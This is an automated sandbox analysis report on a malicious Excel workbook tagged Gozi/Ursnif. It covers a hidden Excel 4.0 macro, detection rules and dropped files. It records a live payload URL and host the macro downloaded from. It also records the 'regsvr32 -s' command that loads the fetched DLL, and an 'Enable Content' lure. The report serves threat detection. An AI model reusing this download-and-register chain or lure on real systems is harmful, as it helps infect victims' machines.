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Analysis Report document-1477931596.xls

Overview

General Information

Sample Name:	document-1477931596.xls
Analysis ID:	324303
MD5:	1602c8c0a768d4c356e23fa86cca3daa
SHA1:	0c9b5477aa41c557e2169e3cc21fa57f4ad051bd
SHA256:	ba48de11db500e3903d175d9980adbb1305f991d839ec93068417c5eea86b424
Tags:	goziSilentBuilderursnifxls
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found obfuscated Excel 4.0 Macro

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected hidden Macro 4.0 in Excel

Allocates a big amount of memory (probably used for heap spraying)

Document contains embedded VBA macros

IP address seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Registers a DLL

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2444 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

regsvr32.exe (PID: 2320 cmdline: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
document-1477931596.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x4fea2:$s1: Excel 0x50f1d:$s1: Excel 0x389b:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1477931596.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis: Data: Command: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, CommandLine: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2444, ProcessCommandLine: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, ProcessId: 2320

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: document-1477931596.xls	Virustotal: Detection: 37%			Perma Link
Source: document-1477931596.xls	Metadefender: Detection: 13%			Perma Link

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 4MB later: 55MB

Source: global traffic

DNS query: name: fcco1936.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.253.218.120:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.253.218.120:80

Source: Joe Sandbox View

IP Address: 185.253.218.120 185.253.218.120

Source: global traffic

HTTP traffic detected: GET /ds/231120.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fcco1936.comConnection: Keep-Alive

Source: global traffic

Source: unknown

DNS traffic detected: queries for: fcco1936.com

Source: document-1477931596.xls	String found in binary or memory: http://fcco1936.com/ds/231120.gif
Source: regsvr32.exe, 00000003.00000002.2094459045.0000000001CC0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4

Screenshot OCR: Enable Content X J7 - (" X 0' jR I" A A B C D E F G H I K L M N O P Q R S T : 1 2 3 4 5 6

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: document-1477931596.xls	Initial sample: CALL
Source: document-1477931596.xls	Initial sample: CALL
Source: document-1477931596.xls	Initial sample: CALL
Source: document-1477931596.xls	Initial sample: CALL
Source: document-1477931596.xls	Initial sample: EXEC

Found obfuscated Excel 4.0 Macro

Show sources

Source: document-1477931596.xls

Initial sample: High usage of CHAR() function: 18

Source: document-1477931596.xls

OLE indicator, VBA macros: true

Source: document-1477931596.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: classification engine

Classification label: mal80.expl.evad.winXLS@3/5@1/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\53EE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRDA38.tmp

Jump to behavior

Source: document-1477931596.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: document-1477931596.xls	Virustotal: Detection: 37%
Source: document-1477931596.xls	Metadefender: Detection: 13%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: document-1477931596.xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Process Injection1	Regsvr321	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Masquerading1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting21	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
document-1477931596.xls	38%	Virustotal		Browse
document-1477931596.xls	16%	Metadefender		Browse
document-1477931596.xls	8%	ReversingLabs	Document-Word.Trojan.Heuristic

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
fcco1936.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://fcco1936.com/ds/231120.gif	0%	URL Reputation	safe
http://fcco1936.com/ds/231120.gif	0%	URL Reputation	safe
http://fcco1936.com/ds/231120.gif	0%	URL Reputation	safe
http://fcco1936.com/ds/231120.gif	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fcco1936.com	185.253.218.120	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://fcco1936.com/ds/231120.gif	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.2094459045.0000000001CC0000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.253.218.120	unknown	Ukraine		202302	NETH-ASUA	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	324303
Start date:	29.11.2020
Start time:	04:15:05
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	document-1477931596.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.expl.evad.winXLS@3/5@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.253.218.120	document-1559468852.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1559468852.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1543123111.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1558228811.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1543123111.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1558228811.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1545621675.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1545621675.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1538761220.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1570163542.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1570163542.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1528081469.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1547667720.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1547667720.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1560478486.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1560478486.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1529051733.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1529051733.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1563857457.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif
	document-1563857457.xls	Get hash	malicious	Browse	fcco1936.com/ds/231120.gif

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
fcco1936.com	document-1559468852.xls	Get hash	malicious	Browse	185.253.218.120
	document-1559468852.xls	Get hash	malicious	Browse	185.253.218.120
	document-1543123111.xls	Get hash	malicious	Browse	185.253.218.120
	document-1558228811.xls	Get hash	malicious	Browse	185.253.218.120
	document-1543123111.xls	Get hash	malicious	Browse	185.253.218.120
	document-1558228811.xls	Get hash	malicious	Browse	185.253.218.120
	document-1545621675.xls	Get hash	malicious	Browse	185.253.218.120
	document-1545621675.xls	Get hash	malicious	Browse	185.253.218.120
	document-1538761220.xls	Get hash	malicious	Browse	185.253.218.120
	document-1538761220.xls	Get hash	malicious	Browse	185.253.218.120
	document-1570163542.xls	Get hash	malicious	Browse	185.253.218.120
	document-1570163542.xls	Get hash	malicious	Browse	185.253.218.120
	document-1528081469.xls	Get hash	malicious	Browse	185.253.218.120
	document-1528081469.xls	Get hash	malicious	Browse	185.253.218.120
	document-1547667720.xls	Get hash	malicious	Browse	185.253.218.120
	document-1547667720.xls	Get hash	malicious	Browse	185.253.218.120
	document-1560478486.xls	Get hash	malicious	Browse	185.253.218.120
	document-1560478486.xls	Get hash	malicious	Browse	185.253.218.120
	document-1529051733.xls	Get hash	malicious	Browse	185.253.218.120
	document-1529051733.xls	Get hash	malicious	Browse	185.253.218.120

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NETH-ASUA	document-1559468852.xls	Get hash	malicious	Browse	185.253.218.120
	document-1559468852.xls	Get hash	malicious	Browse	185.253.218.120
	document-1543123111.xls	Get hash	malicious	Browse	185.253.218.120
	document-1558228811.xls	Get hash	malicious	Browse	185.253.218.120
	document-1543123111.xls	Get hash	malicious	Browse	185.253.218.120
	document-1558228811.xls	Get hash	malicious	Browse	185.253.218.120
	document-1545621675.xls	Get hash	malicious	Browse	185.253.218.120
	document-1545621675.xls	Get hash	malicious	Browse	185.253.218.120
	document-1538761220.xls	Get hash	malicious	Browse	185.253.218.120
	document-1538761220.xls	Get hash	malicious	Browse	185.253.218.120
	document-1570163542.xls	Get hash	malicious	Browse	185.253.218.120
	document-1570163542.xls	Get hash	malicious	Browse	185.253.218.120
	document-1528081469.xls	Get hash	malicious	Browse	185.253.218.120
	document-1528081469.xls	Get hash	malicious	Browse	185.253.218.120
	document-1547667720.xls	Get hash	malicious	Browse	185.253.218.120
	document-1547667720.xls	Get hash	malicious	Browse	185.253.218.120
	document-1560478486.xls	Get hash	malicious	Browse	185.253.218.120
	document-1560478486.xls	Get hash	malicious	Browse	185.253.218.120
	document-1529051733.xls	Get hash	malicious	Browse	185.253.218.120
	document-1529051733.xls	Get hash	malicious	Browse	185.253.218.120

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\C1EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	315295
Entropy (8bit):	7.985631460035784
Encrypted:	false
SSDEEP:	6144:6bEarFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MV:6DFPM8R3AsB+bjej/9ck
MD5:	0DA14F9087751DB1961100EA1893470E
SHA1:	BA6029F2DEC8F9D033CAD2C32E4989CAB08DB515
SHA-256:	A656DB448420909E7411413726CF737F6F7EA491FF029C3327A9AA5A15808852
SHA-512:	4F437115CB6729EAF5EFB75CE4123171F7572B6712D894C2D9D363B237121B73C6EFF843A5E82039230F9A7E66DCB9FD4B7644ADC12B21A8A31880967C9B36F6
Malicious:	false
Reputation:	low
Preview:	.V.N.0..4..y;J\@B.QS....A.>..o..~.6..=.nH..4DTb..s......j.U..>HkjrV.H..[!MS...?.OR..`.......Z\|.6..:...M.I...Ei.-h......z."...:...z>.]RnM...8.b..V.Q..f..wN...z.^...sNI."..OF.DJ.ZI...G..Up...-@.r^.......@.AMg.....sz~..A..d.f.C..\Jh..?0.w....9t..8.^.(n......F.g..Kk..q....%l8.'Vi..1l...4...(ed..t........K.d.....T#}.{.Lo.+........"...&.2=..2.=../.^*..,#..q3...._.fD0..p.9..).....M6'7.{...9Y....s.Ft9S...}........g.z...E....v..........rh....YM..tZHM[.8.M.O.........PK..........!.C.T.....e.......[Content_Types].xml ...(..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun Nov 29 11:15:43 2020, atime=Sun Nov 29 11:15:43 2020, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.472086667312451
Encrypted:	false
SSDEEP:	12:85QUtCLgXg/XAlCPCHaXgzB8IB/Z2xX+WnicvbbbDtZ3YilMMEpxRljKzTdJP9TK:85htU/XTwz6IEYejDv3q+rNru/
MD5:	4EB79FC3DBBAFBC4208FE4C17FBC8C86
SHA1:	1414D34CE4C05D51BB29AA66A02B6307E0EFA984
SHA-256:	32D61DDE189DF89A18B632A517882175DA6BB0E444082635E0E66D99BBCF73E6
SHA-512:	5427E643201A87692AB5E260B75522F3CB950C3FDCF96C5B7FB7BA623D872C61F978F0C54D5256D3F9AE47B52DAD9A1B3C4FABA9F8A5EA3FC646F9A1F9754187
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G...."\I....."\I.... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....}Q.a..Desktop.d......QK.X}Q.a..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\035347\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......035347..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1477931596.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Sun Nov 29 11:15:43 2020, atime=Sun Nov 29 11:15:43 2020, length=338432, window=hide
Category:	dropped
Size (bytes):	4236
Entropy (8bit):	4.5219932128064935
Encrypted:	false
SSDEEP:	96:8EGM/XLIkq+Qh2EGM/XLIkq+Qh2EGM/XLIkq+Qh2EGM/XLIkq+Q/:8EzIkfQEEzIkfQEEzIkfQEEzIkfQ/
MD5:	210300D25D431BCF7DC373B7FDE6E4F9
SHA1:	F5768846A69B1AF96D82A8A8117D1DDD694BCFE2
SHA-256:	FF7AEB4DB8E0B9CF3CAFD046D32ABCCCDFCC0DBC7F7ACC52A9BB304806756D10
SHA-512:	7F79ED6D23809AF75DA063337D1BD9D4DEE5831341A00789DAB4A2B281933D33A27BE91F90E7ACEDC11E5E429C6093F0E090A619366C87B91830608C89A4B09F
Malicious:	false
Reputation:	low
Preview:	L..................F.... .....+..{...."\I....~,\I...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2..,..}Q.a .DOCUME~1.XLS..\.......Q.y.Q.y*...8.....................d.o.c.u.m.e.n.t.-.1.4.7.7.9.3.1.5.9.6...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\035347\Users.user\Desktop\document-1477931596.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.4.7.7.9.3.1.5.9.6...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......035347..........D_....3N.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	232
Entropy (8bit):	4.83180646166983
Encrypted:	false
SSDEEP:	6:dj6Y9LUhpFSELUhpF6Y9LUhpFSELUhpF6Y9LUhpFSELUhpF6Y9LUhpFy:dmFq8Fq8Fq8FE
MD5:	1F6FE2FE568AE2DC8BB9C17770783649
SHA1:	E230BF78C68BA076939BF4C8B0BA6DB63CABCD2D
SHA-256:	2925A50051AF70423D39B7C8047C4A64E51A9ECCD8502D68A8C5FEE62A6C24AF
SHA-512:	4149D54868768E24F72B5A80239534339DE73A046909C5732988A8A8EE68899EE7BC18CD21FEB6C7B524319E517B7828068BC33847A1D5560CBB2C3C29369339
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..document-1477931596.LNK=0..document-1477931596.LNK=0..[xls]..document-1477931596.LNK=0..document-1477931596.LNK=0..[xls]..document-1477931596.LNK=0..document-1477931596.LNK=0..[xls]..document-1477931596.LNK=0..

C:\Users\user\Desktop\53EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	398125
Entropy (8bit):	7.196710674927082
Encrypted:	false
SSDEEP:	6144:KcKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdS:Aizo8RnsIROnr6n75Y+t
MD5:	8C9275743115DFAD3D20CBFF693092D9
SHA1:	14E0CE31DC2276D1CFC34E92846BAF2784C4A0A1
SHA-256:	937E1EFAA9F2AEDC75CB47DD44A70730E83903AE0B22D5A21DD5CE295F6F5B53
SHA-512:	4FBCFF88BF34662E6CF054CDAEA1248CF0AE9B7D62DE122F0CB47D289246B62AC2B9DD4553624517ADAB026ACCAA45B4784F8CD0AA586D50689DEF4B199E95E6
Malicious:	false
Reputation:	low
Preview:	........g2.........................\.p.... B.....a.........=..........................................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1

Static File Info

General
